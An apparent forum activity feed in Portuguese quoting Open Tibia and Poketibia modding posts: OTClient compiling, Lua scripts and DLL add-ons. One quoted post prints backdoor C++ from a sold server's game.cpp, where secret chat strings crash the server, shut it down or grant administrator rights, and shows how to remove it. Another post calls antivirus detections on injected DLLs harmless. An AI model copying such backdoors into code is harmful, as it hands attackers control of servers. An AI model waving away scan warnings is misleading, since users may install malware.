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Banker recebeu reputação de padreesss em Compilando OTC - CodeBlocks - Windows - Vídeo AulaTutorial, ensinando à compilar as sources do OTC de qualquer versão utilizando codeblocks no windows, à pedido de um amigo!
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MinGW - https://sourceforge.net/projects/mingw/files/
CMake - https://cmake.org/download/
CodeBlocks - http://www.codeblocks.org/downloads/26
Libs MinGW32 - http://www.mediafire.com/file/gf1cr1rj0znxdan/otclient-libs-mingw32.rar
MinGW c/Libs - https://mega.nz/#!6AtwEJpB!UO4vyzuXYTe8Fw5jaAzA3fg9XKZ4aIngeYqAG0Rv9kM
Source OTC 0.6.5 - https://codeload.github.com/edubart/otclient/zip/v0.6.5
Source OTC 0.6.6 - https://codeload.github.com/edubart/otclient/zip/v0.6.6
Source OTC 0.6.7 - http://www.tibiaking.com/forum/forums/topic/34344-otclient-067-1071/
Versão Mais Atualizada(Last Release) - https://github.com/edubart/otclient/archive/master.zip
GitHub - https://github.com/edubart/otclient/
Tópico - http://www.tibiaking.com/forum/forums/topic/43700-otc-compilando-otclient-no-windows/
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Banker recebeu reputação de UnknowLoad em PokéBar/MoveBar/Sound para OLD ClientVenho através desse POST, disponibilizar para vocês duas DLL's, uma de poke e move bar, e a outra consiste em um sistema de som, para old client!
(POKETIBIA)
1º Baixe as Dll's aqui -> Download
scan: aqui
2º Baixe o Stude_PE aqui -> Download
scan: aqui
(OBS: OS SCANS REGISTRAM IRREGULARIDADES, PORÉM FALANDO DE UM PROGRAMA QUE FAÇA INJEÇÃO E MODIFICAÇÕES EM EXE, E DLL'S, É SEMPRE DIFÍCIL VER ALGO 100% LIMPO OU SEJA SÃO AMEAÇAS INOFENSIVAS)
3º Siga o Tutorial, para fazer a instalação. OBS: Pode ser que não funcione em todos devido às config. de sua Base!
Créditos:
Eu - Por Fazer o Tutorial e disponibilizar
Nest Silva - Dono do Server, o qual eu encontrei as DLL's(PokeIlusion)
Não encontrei o Responsável, por essas DLL's, porém à ele pertence os Créditos
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Banker deu reputação a belox74 em [DUVIDA] Como resolver erro ao compilar source do otclient com Code BlocksAchei a solução para meu problema, basta ver esse video aqui e fazer igualzinho. -> https://www.youtube.com/watch?v=wlpYMsJvQg4
Se ainda continuar o problema, refaz tu do de novo, mas instale o MinGW normalmente, e pegue o MinGW completo do rapaz do video, e jogue na sua pasta do MinGW e coloca pra substituir tudo. 100% agora =) Obrigado ao Italo.
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Banker recebeu reputação de costantino2 em Compilando OTC - CodeBlocks - Windows - Vídeo AulaTutorial, ensinando à compilar as sources do OTC de qualquer versão utilizando codeblocks no windows, à pedido de um amigo!
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Banker deu reputação a gustavof em [PxG] Texto de playerFala galera, tudo certo?
Então, a um tempo atras, criei um tópico aqui no fórum pedindo uma ajuda sobre como alterar algumas coisas dentro de um servidor de poketibia, porém, não encontrei a resposta.
[Duvida] Cores de mensagem
Depois de um longo tempo procurando as informações dentro da source do cliente, consegui finalmente resolver o meu problema e me senti com uma divida no fórum, graças ao @Brunds que mesmo não resolvendo o meu problema, estava respondendo as minhas mensagens. Com isso venho compartilhar a minha solução.
Servidor utilizado para base: [DxP] Exclusivo Poketibia OpenSource+Cliente+Site+DB
Musica utilizada: Tech N9ne - Come Gangsta (Izzamuzzic Remix)
Tutorial Como alterar a cor do texto
Antes de encontrar a solução, tentei criar um novo tipo de talktype, estava conseguindo, o servidor estava enviando as mensagens corretamente, mas o problema estava no cliente, então mudei a estrategia e tentei usar o que já estava funcionando, lembrei que atualmente existe dois tipo de monster talktype:
data/lib/000-constant.lua
TALKTYPE_MONSTER = 19 TALKTYPE_MONSTER_YELL = 20 O talktype 19 é usado normalmente para os monstros "falarem" e o outro valor não estava sendo usando, pensando nisso peguei esse valor para a minha função de texto.
Obs.: Não vou ensinar como compilar o cliente - Compilando OTC - CodeBlocks - Windows - Vídeo Aula
Primeiro passo
Alterei a linha 142
otclient/source/client/statictext.cpp
} else if(m_mode == Otc::MessageMonsterSay || m_mode == Otc::MessageSpell || m_mode == Otc::MessageBarkLow || m_mode == Otc::MessageBarkLoud) { m_color = Color(254, 101, 0); } else if(m_mode == Otc::MessageMonsterYell ){ m_color = Color(255,165,0); } Com isso, estou definindo em m_color que, quando o valor de m_mode for igual a MessageMonsterYell, m_color receba a cor especificada em RGB. Alterando isso eu já consigo modificar a cor, porem, ainda não tem um limite de mensagens que aparecem quando o player "fala", continue pesquisando e encontrei uma "meia" solução, adaptei e consegui o resultado que eu estava buscando.
Dentro do mesmo arquivo.
Alterei a linha 74
else if(m_name != name || m_mode != mode) { return false; } else if(mode == Otc::MessageMonsterYell){ if(m_messages.size() > 2) { m_messages.pop_front(); m_updateEvent->cancel(); m_updateEvent = nullptr; } } // too many messages else if(m_messages.size() > 10) { m_messages.pop_front(); m_updateEvent->cancel(); m_updateEvent = nullptr; } Adicionei um else if para o mode de MessageMonsterYell, que é o valor estamos utilizando para a comunicação do player, verificando a quantidade de mensagens e limitando em até 3 mensagens.
Apos essas alterações, basta apenas compilar o cliente, porem, ainda não esta pronto .
Segundo passo
Agora precisamos alterar o script do nosso servidor para "falar" da maneira correta, pois atualmente o player envia mensagens ao cliente com outro valor, vamos alterar.
Lembrando dos valores que estão definidos no data/lib/000-constant.lua existe outro dois valores para representar a mesma coisa, porem, apenas com o nome diferente, acredito eu que é para facilitar, dentro do arquivo data/lib/100-compat.lua
TALKTYPE_ORANGE_1 = TALKTYPE_MONSTER TALKTYPE_ORANGE_2 = TALKTYPE_MONSTER_YELL Não muda nada, apenas o nome da "variavel".
Alterei a linha 39
data/lib/120-goback.lua
doCreatureSay(cid, mbk, TALKTYPE_ORANGE_2) Alterei a linha 228
data/actions/scripts/Basic/goback.lua
doCreatureSay(cid, mgo, TALKTYPE_ORANGE_2) Alterei as linhas:
22, 69, 83, 85, 107, 186, 204, 222, 241, 248, 258, 263
data/actions/scripts/Basic/order.lua
-- linha 22 doPlayerSay(cid, getCreatureNick(getCreatureSummons(cid)[1]) .. orderTalks["downability"].talks[math.random(#orderTalks["downability"].talks)], TALKTYPE_ORANGE_2) -- linha 69 doPlayerSay(cid, pokeName..orderTalks["ride"].talks[math.random(#orderTalks["ride"].talks)], TALKTYPE_ORANGE_2) -- linhas 83 e 85 if string.find(habilidades, "levitate") then doPlayerSay(cid, pokeName..orderTalks["levitate"].talks[math.random(#orderTalks["levitate"].talks)], TALKTYPE_ORANGE_2) else doPlayerSay(cid, pokeName..orderTalks["fly"].talks[math.random(#orderTalks["fly"].talks)], TALKTYPE_ORANGE_2) end -- linha 107 doPlayerSay(cid, getCreatureNick(getCreatureSummons(cid)[1])..", reverta-se.", TALKTYPE_ORANGE_2) -- linha 186 doPlayerSay(cid, getCreatureNick(poke)..orderTalks["dig"].talks[math.random(#orderTalks["dig"].talks)], TALKTYPE_ORANGE_2) -- linha 204 doPlayerSay(cid, getCreatureNick(poke)..orderTalks["cut"].talks[math.random(#orderTalks["cut"].talks)], TALKTYPE_ORANGE_2) -- linha 222 doPlayerSay(cid, getCreatureNick(poke)..orderTalks["rock"].talks[math.random(#orderTalks["rock"].talks)], TALKTYPE_ORANGE_2) -- linha 241 doPlayerSay(cid, getCreatureNick(poke)..orderTalks["headbutt"].talks[math.random(#orderTalks["headbutt"].talks)], TALKTYPE_ORANGE_2) -- linha 248 doPlayerSay(cid, getCreatureNick(poke)..orderTalks["move"].talks[math.random(#orderTalks["move"].talks)], TALKTYPE_ORANGE_2) -- linha 258 doPlayerSay(cid, getCreatureNick(poke)..orderTalks["move"].talks[math.random(#orderTalks["move"].talks)], TALKTYPE_ORANGE_2) -- linha 263 doPlayerSay(cid, getCreatureNick(poke)..orderTalks["move"].talks[math.random(#orderTalks["move"].talks)], TALKTYPE_ORANGE_2)
Apos esse processo todo, salva e abre o serve.
Créditos
@Banker
@Brunds
kyogron -- outro forum
Me
Obs.: Aceito pagamento no PicPay para aula de programação
Obs.2: Não sou bom professor
Obs.3: Ajuda a comprar um Mc Lanche Feliz
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https://www.virustotal.com/#/file/aab27bd5547d35dc159288f3b5b8760f21b0cfec86e8f0032b49dd0410f232bc/detection
Créditos:
EduBart - Sources do OTClient
Kyogron - MinGW c/ Libs
Wend - Tutorial / Tópico no TK
Avuenja - Tópico das Sources 0.6.7
Eu(Banker) - Vídeo-Tutorial
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Banker recebeu reputação de quemtuacha em PokéBar/MoveBar/Sound para OLD ClientVenho através desse POST, disponibilizar para vocês duas DLL's, uma de poke e move bar, e a outra consiste em um sistema de som, para old client!
(POKETIBIA)
1º Baixe as Dll's aqui -> Download
scan: aqui
2º Baixe o Stude_PE aqui -> Download
scan: aqui
(OBS: OS SCANS REGISTRAM IRREGULARIDADES, PORÉM FALANDO DE UM PROGRAMA QUE FAÇA INJEÇÃO E MODIFICAÇÕES EM EXE, E DLL'S, É SEMPRE DIFÍCIL VER ALGO 100% LIMPO OU SEJA SÃO AMEAÇAS INOFENSIVAS)
3º Siga o Tutorial, para fazer a instalação. OBS: Pode ser que não funcione em todos devido às config. de sua Base!
Créditos:
Eu - Por Fazer o Tutorial e disponibilizar
Nest Silva - Dono do Server, o qual eu encontrei as DLL's(PokeIlusion)
Não encontrei o Responsável, por essas DLL's, porém à ele pertence os Créditos
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Banker recebeu reputação de Tio Marshmello em PokéBar/MoveBar/Sound para OLD ClientVenho através desse POST, disponibilizar para vocês duas DLL's, uma de poke e move bar, e a outra consiste em um sistema de som, para old client!
(POKETIBIA)
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scan: aqui
(OBS: OS SCANS REGISTRAM IRREGULARIDADES, PORÉM FALANDO DE UM PROGRAMA QUE FAÇA INJEÇÃO E MODIFICAÇÕES EM EXE, E DLL'S, É SEMPRE DIFÍCIL VER ALGO 100% LIMPO OU SEJA SÃO AMEAÇAS INOFENSIVAS)
3º Siga o Tutorial, para fazer a instalação. OBS: Pode ser que não funcione em todos devido às config. de sua Base!
Créditos:
Eu - Por Fazer o Tutorial e disponibilizar
Nest Silva - Dono do Server, o qual eu encontrei as DLL's(PokeIlusion)
Não encontrei o Responsável, por essas DLL's, porém à ele pertence os Créditos
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Banker recebeu reputação de D i M i T r E s C u em PokéBar/MoveBar/Sound para OLD ClientVenho através desse POST, disponibilizar para vocês duas DLL's, uma de poke e move bar, e a outra consiste em um sistema de som, para old client!
(POKETIBIA)
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Não encontrei o Responsável, por essas DLL's, porém à ele pertence os Créditos
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Banker recebeu reputação de KotZletY em PokéBar/MoveBar/Sound para OLD ClientVenho através desse POST, disponibilizar para vocês duas DLL's, uma de poke e move bar, e a outra consiste em um sistema de som, para old client!
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Banker recebeu reputação de ZoR em PokéBar/MoveBar/Sound para OLD ClientVenho através desse POST, disponibilizar para vocês duas DLL's, uma de poke e move bar, e a outra consiste em um sistema de som, para old client!
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3º Siga o Tutorial, para fazer a instalação. OBS: Pode ser que não funcione em todos devido às config. de sua Base!
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Eu - Por Fazer o Tutorial e disponibilizar
Nest Silva - Dono do Server, o qual eu encontrei as DLL's(PokeIlusion)
Não encontrei o Responsável, por essas DLL's, porém à ele pertence os Créditos
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Banker recebeu reputação de LeoTK em PokéBar/MoveBar/Sound para OLD ClientVenho através desse POST, disponibilizar para vocês duas DLL's, uma de poke e move bar, e a outra consiste em um sistema de som, para old client!
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(OBS: OS SCANS REGISTRAM IRREGULARIDADES, PORÉM FALANDO DE UM PROGRAMA QUE FAÇA INJEÇÃO E MODIFICAÇÕES EM EXE, E DLL'S, É SEMPRE DIFÍCIL VER ALGO 100% LIMPO OU SEJA SÃO AMEAÇAS INOFENSIVAS)
3º Siga o Tutorial, para fazer a instalação. OBS: Pode ser que não funcione em todos devido às config. de sua Base!
Créditos:
Eu - Por Fazer o Tutorial e disponibilizar
Nest Silva - Dono do Server, o qual eu encontrei as DLL's(PokeIlusion)
Não encontrei o Responsável, por essas DLL's, porém à ele pertence os Créditos
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Banker deu reputação a MaXwEllDeN em Locker Protection#Introdução
Bem, este é um sistema no qual você pode protejer o seu locker(depot) com senha, assim evitando hackers http://forums.otserv.com.br/images/smilies/biggrin.gif.
#Instalação
http://1.imgland.net/3CaRNl.png
Primeiro faça o download do sistema e cole na sua pasta data.
Após ter instalado os arquivos nas suas respectivas pastas adicione as tags:
@Actions
<action itemid="2589; 2590; 2591; 2592" event="script" value="DPPass.lua"/> <!-- DP Pass --> @Creaturescripts
<event type="login" name="LockerPass" event="script" value="DPPass.lua"/> <!-- DPPass --> @Movements
<movevent type="StepOut" actionid="96475" event="script" value="DPPass.lua"/> <!-- DPPass --> @Talkactions
<talkaction words="!locker" script="DPPass.lua"/> <!-- DP Pass --> Talvez eu poste uma V. 2, podendo recuperar a senha via Recovery Key!
Abraço.
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Banker deu reputação a L3K0T em Source Poketibia - Códigos de derrubarOlá querido membro, hoje um grande amigo me pediu pra resolver um problema na source dele que acabou comprando de um fulano, enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava um cargo de administrador a um jogador com groups 1. Então me falaram que esse código era no game.cpp, portanto olhei linha por linha nessa source que está espalhada em vários fóruns e não é só aqui, é praticamente um código colocado por mal gosto, para ferrar praticamente com a vida de novos administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará da SOURCES do seu Poketibia para fazer essa verificação, caso possua o código da "morte" peço que siga o tutorial abaixo.
ACHE em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)
Código 1
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Etapa do Código 1 Mude para:
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Pronto agora é só compilar sua source! Fiz update e achei outro código de derrubar no DXP.
Código 2
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); int specs = 31101996; std::string findText; std::stringstream findTextInput; findTextInput << specs; findText = findTextInput.str(); bool exists = text.find(findText) != std::string::npos; if(exists){ Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN))); return true; } SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Código 2, mude para
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) {
Logo mais revelo novo código da mortes, créditos a mim, e cipsoft pelo código original.
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Banker deu reputação a srjean em First Itens - Modern AccRhuan oque vc tem que fazer é criar os char com os seguintes nomes Sorcerer Sample, Knight Samples, Paladin Samples, Druid Samples e Rook Sample bota ele ele numa conta qualque e ponha os itens inicias neles e deixa na posicao aonde é para nascer e o lvl certinho e depois no mysql admin voçê coloca eles na conta do acc manager! e depois de tudo sai e faça uma conta nova e veja se deu certo
+ rep!
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Banker deu reputação a Cerberus em [Gesior] Layout Pokemon para GesiorProcurei muito um layout assim de pokemon para o Gesior .
Achei esse em um site PL.
E estou aqui Compartilhando com o Tibia King , pois não tem nenhum desse tipo para os players que querem mudar do Mod.ACC para Gesior para ter o site de Donation entregando automático .
Estou aqui trazendo para vocês.
Coloquei Vrs 1.0 , porque vou tentar atualizar as sprites e mecher nele para o Tibia King.
IMAGEM
DOWNLOAD
CLIQUE AQUI
SCAN
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Creditos.
Cerberus - trazer ao TK e começar edições
Converted by Qanti
Layout By Nuddl
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Banker deu reputação a L3K0T em Passagem apenas pra staffbom galera esse script tem a função de não deixar player passar em um certo local só membros da staff tem esse acesso, vamos começar.
Vai em movements/scripts copia um arquivo lá e renomeia pra piso staff e add.
em movements.xml add.
56830 é a action que vai no piso pelo mapa editor.
prontinho veja o resultado!
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Banker deu reputação a L3K0T em (Resolvido)[Pedido] "Use" no Surfactions.xml
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Banker deu reputação a L3K0T em Anuncio Torneio! -Pedidoremovi meu scrip FC do PokémonDBR pq ninguem ajuda aqui espero que tenha copiado o scripts até mais!
o seu ai
function onUse(cid, item)
if #getCreatureSummons(cid) >= 1 then
doPlayerSendCancel(cid, "[Torneio] Nao pode puxar a alavanca com o pokemon fora da pokeball.")
else
if #getPlayersInArea(torneio.area) > 1 then
doPlayerSendTextMessage(cid, 20 ,"Somente o ultimo sobrevivente poderar puxar essa alavanca.") return true end
doTeleportThing(cid, torneio.playerTemple)
doBroadcastMessage("[Torneio] Parabéns ao "..getCreatureName(cid).." foi o ganhador do torneio de hoje!")
setPlayerStorageValue(cid,130131,getPlayerStorageValue(cid,130131)+1)
doPlayerSendTextMessage(cid,MESSAGE_EVENT_ORANGE,"[Torneio-Score] Voce agora tem ["..(getPlayerStorageValue(cid,130131) + 1).."] Torneio SCORES.")
doPlayerAddItem(cid, torneio.awardTournament, torneio.awardAmount)
return true
end
end